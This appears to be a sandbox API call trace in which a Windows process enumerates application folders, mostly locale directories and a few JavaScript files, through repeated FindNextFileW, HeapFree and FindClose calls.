	[0185.859] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0185.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.859] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0185.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.859] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0185.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.859] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0185.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.859] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0185.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.859] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0185.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.860] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0185.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.860] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0185.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.860] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0185.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.860] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0185.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.860] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0185.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.861] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0185.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.861] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0185.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.861] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0185.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.861] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0185.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.861] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0185.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.861] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0185.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.862] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10e716b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf10e716b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0185.862] FindClose (in: hFindFile=0x4142b58 | out: hFindFile=0x4142b58) returned 1
	[0185.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.862] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xce0d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0185.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.862] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0185.862] FindClose (in: hFindFile=0x41429d8 | out: hFindFile=0x41429d8) returned 1
	[0185.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0185.862] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefca319f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefca319f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files-select", cAlternateFileName="DESKTO~1")) returned 1
	[0185.961] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0185.961] FindNextFileW (in: hFindFile=0x4142b98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0185.961] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0185.961] FindNextFileW (in: hFindFile=0x4142b98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd3bb05, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd3bb05, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd3bb05, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0185.961] FindClose (in: hFindFile=0x4142b98 | out: hFindFile=0x4142b98) returned 1
	[0185.961] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0185.964] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="digsig", cAlternateFileName="")) returned 1
	[0185.973] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0185.973] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0185.975] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.975] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0185.975] FindClose (in: hFindFile=0x4142fd8 | out: hFindFile=0x4142fd8) returned 1
	[0185.975] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.975] FindNextFileW (in: hFindFile=0x4142c58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0185.975] FindClose (in: hFindFile=0x4142c58 | out: hFindFile=0x4142c58) returned 1
	[0185.975] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0185.975] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0185.978] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.978] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0185.979] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.979] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0185.980] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.980] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0185.980] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.980] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0185.981] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.981] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0185.982] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.982] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0185.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.983] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0185.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.984] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0185.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.984] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0185.985] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.985] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0185.986] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
